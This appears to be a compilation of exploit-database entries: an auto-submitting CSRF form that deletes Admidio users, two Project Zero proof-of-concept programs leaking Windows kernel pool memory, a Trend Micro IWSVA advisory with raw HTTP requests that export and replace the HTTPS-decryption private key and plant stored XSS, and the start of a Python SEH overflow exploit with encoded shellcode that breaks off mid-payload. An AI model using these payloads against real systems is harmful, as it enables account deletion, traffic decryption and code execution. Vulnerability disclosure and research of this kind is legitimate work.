Using this crafted html form we are able to delete any user with
admin/user privilege.
<html>
<body onload="javascript:document.forms[0].submit()">
<form
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
<input type="hidden" name="usr_id" value='9' />
<input type="hidden" name="mode" value="3" />
</form>
</body>
</html>
[Affected Component]
http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Escalation of Privileges]
true
------------------------------------------
[Attack Vectors]
Steps:
1.) If an user with admin privilege opens a crafted
html/JPEG(Image),then both the admin and users with user privilege
which are mentioned by the user id (as like shown below) in the
crafted request are deleted.
<input type="hidden" name="usr_id" value='3' />
2.) In admidio by default the userid starts from '0',
'1' for system '2' for users, so an attacker
can start from '2' upto 'n' users.
3.)For deleting the user permanently we select 'mode=3'(as like shown
below),then all admin/low privileged users are deleted.
<input type="hidden" name="mode" value="3" />
------------------------------------------
[Reference]
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
Thanks
Faiz Ahmed Zaidi
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1145
We have observed (on Windows 7 32-bit) that for unclear reasons, the kernel-mode structure containing the default DACL of system processes' tokens (lsass.exe, services.exe, ...) has 8 uninitialized bytes at the end, as the size of the structure (ACL.AclSize) is larger than the sum of ACE lengths (ACE_HEADER.AceSize). It is possible to read the leftover pool data using a GetTokenInformation(TokenDefaultDacl) call.
When the attached proof-of-concept code is run against a SYSTEM process (pid of the process must be passed in the program argument), on a system with Special Pools enabled for ntoskrnl.exe, output similar to the following can be observed:
>NtQueryInformationToken.exe 520
00000000: 54 bf 2b 00 02 00 3c 00 02 00 00 00 00 00 14 00 T.+...<.........
00000010: 00 00 00 10 01 01 00 00 00 00 00 05 12 00 00 00 ................
00000020: 00 00 18 00 00 00 02 a0 01 02 00 00 00 00 00 05 ................
00000030: 20 00 00 00 20 02 00 00[01 01 01 01 01 01 01 01] ... ...........
The last eight 0x01 bytes are markers inserted by Special Pools, which visibly haven't been overwritten by any actual data prior to being returned to user-mode.
While reading DACLs of system processes may require special privileges (such as the ability to acquire SeDebugPrivilege), the root cause of the behavior could potentially make it possible to also create uninitialized DACLs that are easily accessible by regular users. This could in turn lead to a typical kernel memory disclosure condition, which would allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. Since it's not clear to us what causes the abberant behavior, we're reporting it for further analysis to be on the safe side.
The proof-of-concept code is mostly based on the example at https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege.
*/
#define RTN_OK 0
#define RTN_USAGE 1
#define RTN_ERROR 13
#include <windows.h>
#include <stdio.h>
BOOL SetPrivilege(
HANDLE hToken, // token handle
LPCTSTR Privilege, // Privilege to enable/disable
BOOL bEnablePrivilege // TRUE to enable. FALSE to disable
);
void DisplayError(LPTSTR szAPI);
VOID PrintHex(PBYTE Data, ULONG dwBytes);
int main(int argc, char *argv[])
{
HANDLE hProcess;
HANDLE hToken;
int dwRetVal = RTN_OK; // assume success from main()
// show correct usage for kill
if (argc != 2)
{
fprintf(stderr, "Usage: %s [ProcessId]\n", argv[0]);
return RTN_USAGE;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
{
if (GetLastError() == ERROR_NO_TOKEN)
{
if (!ImpersonateSelf(SecurityImpersonation))
return RTN_ERROR;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){
DisplayError(L"OpenThreadToken");
return RTN_ERROR;
}
}
else
return RTN_ERROR;
}
// enable SeDebugPrivilege
if (!SetPrivilege(hToken, SE_DEBUG_NAME, TRUE))
{
DisplayError(L"SetPrivilege");
// close token handle
CloseHandle(hToken);
// indicate failure
return RTN_ERROR;
}
CloseHandle(hToken);
// open the process
if ((hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION,
FALSE,
atoi(argv[1]) // PID from commandline
)) == NULL)
{
DisplayError(L"OpenProcess");
return RTN_ERROR;
}
// Open process token.
if (!OpenProcessToken(hProcess, TOKEN_READ, &hToken)) {
DisplayError(L"OpenProcessToken");
return RTN_ERROR;
}
DWORD ReturnLength = 0;
if (!GetTokenInformation(hToken, TokenDefaultDacl, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
DisplayError(L"GetTokenInformation #1");
return RTN_ERROR;
}
PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
if (!GetTokenInformation(hToken, TokenDefaultDacl, OutputBuffer, ReturnLength, &ReturnLength)) {
DisplayError(L"GetTokenInformation #2");
return RTN_ERROR;
}
PrintHex(OutputBuffer, ReturnLength);
// close handles
HeapFree(GetProcessHeap(), 0, OutputBuffer);
CloseHandle(hProcess);
return dwRetVal;
}
BOOL SetPrivilege(
HANDLE hToken, // token handle
LPCTSTR Privilege, // Privilege to enable/disable
BOOL bEnablePrivilege // TRUE to enable. FALSE to disable
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
TOKEN_PRIVILEGES tpPrevious;
DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
//
// first pass. get current privilege setting
//
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = 0;
AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
&tpPrevious,
&cbPrevious
);
if (GetLastError() != ERROR_SUCCESS) return FALSE;
//
// second pass. set privilege based on previous setting
//
tpPrevious.PrivilegeCount = 1;
tpPrevious.Privileges[0].Luid = luid;
if (bEnablePrivilege) {
tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED);
}
else {
tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
tpPrevious.Privileges[0].Attributes);
}
AdjustTokenPrivileges(
hToken,
FALSE,
&tpPrevious,
cbPrevious,
NULL,
NULL
);
if (GetLastError() != ERROR_SUCCESS) return FALSE;
return TRUE;
}
void DisplayError(
LPTSTR szAPI // pointer to failed API name
)
{
LPTSTR MessageBuffer;
DWORD dwBufferLength;
fwprintf(stderr, L"%s() error!\n", szAPI);
if (dwBufferLength = FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
GetLastError(),
GetSystemDefaultLangID(),
(LPTSTR)&MessageBuffer,
0,
NULL
))
{
DWORD dwBytesWritten;
//
// Output message string on stderr
//
WriteFile(
GetStdHandle(STD_ERROR_HANDLE),
MessageBuffer,
dwBufferLength,
&dwBytesWritten,
NULL
);
//
// free the buffer allocated by the system
//
LocalFree(MessageBuffer);
}
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1161
We have discovered that the handler of the nt!NtTraceControl system call (specifically the EtwpSetProviderTraitsUm functionality, opcode 0x1E) discloses portions of uninitialized pool memory to user-mode clients on Windows 10 systems.
On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000020: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000030: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000040: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000070: ff ff ff ff 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region (in this case, the special byte is 0x75, or "u"):
--- cut ---
00000000: 28 00 00 00 00 00 00 00 24 f8 f7 00 00 00 00 00 (.......$.......
00000010: 39 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 9.......uuuuuuuu
00000020: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000030: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000040: 75 75 75 75 75 75 75 75 01 00 00 00 ff 00 00 00 uuuuuuuu........
00000050: a1 03 00 00 00 00 00 00 00 00 00 00 00 80 00 00 ................
00000060: 00 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 ........uuuuuuuu
00000070: 75 75 75 75 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? uuuu............
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C"
NTSTATUS WINAPI NtTraceControl(
DWORD Operation,
LPVOID InputBuffer,
DWORD InputSize,
LPVOID OutputBuffer,
DWORD OutputSize,
LPDWORD BytesReturned);
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
BYTE data[] = "9\x00Microsoft.Windows.Kernel.KernelBase\x00\x13\x00\x01\x1asPO\xcf\x89\x82G\xb3\xe0\xdc\xe8\xc9\x04v\xba";
struct {
DWORD hevent;
DWORD padding1;
LPVOID data;
DWORD padding2;
USHORT data_size;
USHORT padding3;
DWORD padding4;
} Input = {
0, 0, data, 0, sizeof(data) - 1, 0, 0
};
BYTE Output[1024] = { /* zero padding */ };
for (DWORD handle = 0x4; handle < 0x1000; handle += 4) {
Input.hevent = handle;
DWORD BytesReturned = 0;
NTSTATUS ntst = NtTraceControl(30, &Input, sizeof(Input), Output, sizeof(Output), &BytesReturned);
if (NT_SUCCESS(ntst)) {
PrintHex(Output, BytesReturned);
break;
}
}
return 0;
}
# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [12/01/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/]
# Version: [Tested on IWSVA 6.5-SP2 Critical Patch Build 1739 and prior versions in 6.5.x series. Older versions may also be affected]
# Tested on: [IWSVA 6.5-SP2 Critical Patch Build 1739]
# CVE : [CVE-2017-6338,CVE-2017-6339,CVE-2017-6340]
# Vendor Security Bulletin: https://success.trendmicro.com/solution/1116960
==================
#Product:-
==================
Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.
==================
#Vulnerabilities:-
==================
Multiple Incorrect Access Control,Stored Cross Site Scripting, and Sensitive Information Disclosure vulnerabilities
========================
#Vulnerability Details:-
========================
=============================================================================================================================
Sensitive Information Disclosure Vulnerability (CVE-2017-6339):-
=============================================================================================================================
Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA. An attacker with low privileges can download current CA certificate and Private Key (either the default ones or uploaded by administrators) and use those to decrypt HTTPS traffic thus compromising confidentiality.
Also, the default Private Key on this appliance is encrypted with very weak and guessable passphrase ‘trend’. If an appliance uses default Certificate and Private Key provided by Trend Micro, an attacker can simply download these and decrypt the Private Key using default passphrase ‘trend’.
#Proof-of-Concept:
1. Log into IWSVA web console with least privilege user.
2. Send following POST requests:
Request#1: Download 'get_current_ca_cert.cer'
POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportcert HTTP/1.1
Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=
Request#2: Download 'get_current_ca_key.cer'
POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportkey HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=
3.Decrypt the Private Key using passphrase ‘trend’.
=============================================================================================================================
Multiple Incorrect Access Control Vulnerabilities (CVE-2017-6338):
=============================================================================================================================
#1. Missing functional level access control allows a low privileged user upload HTTPS Decryption Certificate and Private Key:
-----------------------------------------------------------------------------------------------------------------------------
Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA.
An attacker with low privileges can upload new CA certificate and Private Key and use those to decrypt HTTPS traffic thus compromising confidentiality.
#Proof-of-Concept:
1. Log into IWSVA web console with least privilege user ‘Test2’.
2. Send following POST request:
Request#1:
POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e11fd2fd0ac0
Accept-Encoding: gzip, deflate
Content-Length: 4085
Host: 192.168.253.150:1812
Pragma: no-cache
Cookie: JSESSIONID=E595855EF5900782921945280ABA46CD
Connection: close
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="CSRFGuardToken"
S8PM5QG974XLWS992MCK5M67T6D0A575
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="op"
save
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="defaultca"
no
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_certificate"; filename="get_current_ca_cert(2).cer"
Content-Type: application/x-x509-ca-cert
-----BEGIN CERTIFICATE-----
---snip---
-----END CERTIFICATE-----
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_key"; filename="get_current_ca_key(1).cer"
Content-Type: application/x-x509-ca-cert
-----BEGIN RSA PRIVATE KEY-----
---snip---
-----END RSA PRIVATE KEY-----
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_passphrase"
trend
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="importca_2passphrase"
trend
-----------------------------7e11fd2fd0ac0--
3. Above request will delete/remove existing certificates and add new one. To confirm if the certificate and private key were uploaded successfully, log in with Administrator account and download the certificate/key. These should be the ones that you uploaded.
#2. Missing functional level access control allows an authenticated user change FTP access control setting
-----------------------------------------------------------------------------------------------------------------------------
An attacker with read only rights can change ‘FTP Access Control Settings’ by sending a specially crafted POST request.
#Proof-of-Concept:
1.Log into IWSVA web console with least privilege user ‘Auditor’.
2.Send following POST request:
Request#1:
POST /ftp_clientip.jsp HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.253.150:1812/ftp_clientip.jsp
Cookie: JSESSIONID=<SessionID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
CSRFGuardToken=<Token>&op=save&change_op=nochanged&daemonaction=8&input_tips=40+characters+maximum&ftp__use_client_acl=yes&use_client_acl_view=yes&inputtype=ip&ip=192.168.253.133&desc=Ubuntu&itemlist=192.168.253.133+%3BUbuntu
3. This enables FTP access.
4. Log into IWSVA web console as admin from another browser and check to see if FTP Access Control List has been updated.
#3. Missing functional level access control allows an Auditor user create/modify reports
-----------------------------------------------------------------------------------------------------------------------------
An authenticated, remote attacker with ‘Auditor’ role assigned to him/her, can modify existing reports or create a new one. This user can also exploit the stored cross-site scripting vulnerability mentioned above.
#Proof-of-Concept:
1. Log into IWSVA web console with least privilege user ‘Auditor’.
2. Send following POST requests:
Request#1:
POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 92
Cookie: JSESSIONID=<SessionID>
Connection: close
{"action":"check_name","name":"AuditorsReport\<script\>alert(\"Hola Auditor!\")\</script\>"}
Request#2:
POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=<Token>&mode=add
Content-Length: 2877
Cookie: JSESSIONID=<SessionID>
Connection: close
{"action":"add","template":{"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"mail_to":[""],"fail_mail_to":""],"description":"","name":"AuditorsReport,"enable":true,"frequency":0,"scheduled":false,"start_date":1484170920,"runtime":"0:3:12","max_exec_number":0,"period":"1D","from":1484159400,"to":1484245800,"scheduled_time_filter":"0","device_group":"","type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","subject":"","message":"","mail_attach":false,"fail_notice":false,"report_by":0,"report_by_list":{}}}
=============================================================================================================================
Stored Cross Site Scripting (CVE-2017-6340):
=============================================================================================================================
An authenticated, remote attacker can inject a Java script while creating a new report that results in a stored cross-site scripting attack.
#Proof-of-Concept:
1. Log into IWSVA web console with least privilege user ‘Auditor’.
2. Send following POST requests:
Request#1:
POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 88
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close
{"action":"check_name","name":"TestReport1\<script\>alert(\"Hola Report!\")\</script\>"}
Request#2:
POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 3041
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close
{"action":"modify","tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","template":{"tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","name":"TestReport1\<script\>alert(\"Hola Report!\")\</script\>","description":"","enable":true,"period":"1D","from":-2209096400,"to":-2209096400,"frequency":0,"scheduled":false,"start_date":1481060520,"runtime":"0:0:0","max_exec_number":0,"type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","mail_to":[""],"subject":"","message":"","mail_attach":false,"fail_notice":false,"fail_mail_to":[""],"report_by":0,"report_by_list":{},"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"last_gen_time":1481103598,"current_exec_time":1,"scheduled_time_filter":"0","device_group":"","last_update_by":"test2"}}
3.Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see the alert.
===================================
#Vulnerability Disclosure Timeline:
===================================
15/02/2017: First email to disclose the vulnerability to the Trend Micro incident response team
20/02/2017: Second email to ask for acknowledgment
23/02/2017: Third email to ask for acknowledgment
25/02/2017 Vendor confirms vulnerabilities stating that the fix is being worked on.
27/02/2017: Mitre assigned CVE-2017-6338, CVE-2017-6339 and CVE-2017-6340 to these vulnerabilities
14/03/2017: Vendor confirms that the final release date would be disclosed soon.
28/03/2017: Vendor released security advisory: https://success.trendmicro.com/solution/1116960
#!/usr/bin/python
print "LabF nfsAxe 3.7 FTP Client Buffer Overflow (SEH)"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"
#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security
#Tested on Windows Vista x86
import socket
import sys
#badchars \x00\x10\x0a
buf = ""
buf += "\xbb\x7e\xbc\x7c\x19\xda\xc2\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x59\x83\xe8\xfc\x31\x58\x0e\x03\x26\xb2\x9e"
buf += "\xec\x3e\xf2\x5e\x0f\xbe\x40\x12\x4b\xbe\xa1\xd5\x95"
buf += "\xc7\xc8\x6f\x9c\x7e\xb7\xdd\x8e\x69\x13\x07\xbf\xae"
buf += "\x85\x31\xca\x9d\xfd\xaf\xc8\xe6\x8f\x7e\x3f\xf4\xee"
buf += "\xa6\xdd\x77\xa2\x8e\x27\xb9\xce\xce\x9b\x53\x78\x7c"
buf += "\xee\x04\xb5\xb0\x20\xfe\xf5\xf8\x3c\xff\x5e\x55\xb4"
buf += "\x1a\xe9\x08\xc6\x8e\xda\xeb\xa2\xc5\x1a\x87\x6b\xd5"
buf += "\x97\xe7\x77\x48\x2c\x5f\x80\x79\x3f\xed\xc7\x51\x11"
buf += "\xbf\x18\x79\x18\xfc\xbe\x92\x0b\x69\x49\x3a\x2d\x83"
buf += "\x23\xc8\x74\xd0\xc9\xcc\x06\x1f\x37\xb8\xe2\xb1\x6b"
buf += "\xbf\xdf\xbe\x64\xb3\x20\xc1\x74\x92\xa9\xc5\xfa\xc6"
buf += "\x41\xf4\xfd\x60\x17\x1b\x91\x6d\x43\x8c\x93\x6c\x6b"
buf += "\x4c\x6b\x3b\x4b\x1b\xc4\x94\xdc\xe4\xbd\x5d\xb4\x15"
buf += "\x14\x7d\xb3\x29\xa6\x82\x94\xfa\xa1\x7e\x1b\x27\x23"
buf += "\xf7\xfd\x4d\x53\x51\x51\x6d\x06\x45\x02\xc2\x56\x20"
buf += "\xb8\xb3\xfe\x99\x3f\x6e\xef\x94\x02\xf7\x8c\x4a\xd6"
buf += "\x75\xae\xb6\xe6\x45\xa5\xa3\x51\xb5\x91\x42\xb6\xff"
buf += "\xa2\x70\x29\x44\xd5\x3c\x6d\x79\xa0\xc0\x49\xc9\x3b"
buf += "\x44\xb6\x85\xb2\xc8\x92\x45\x48\x74\xff\x75\x06\x24"
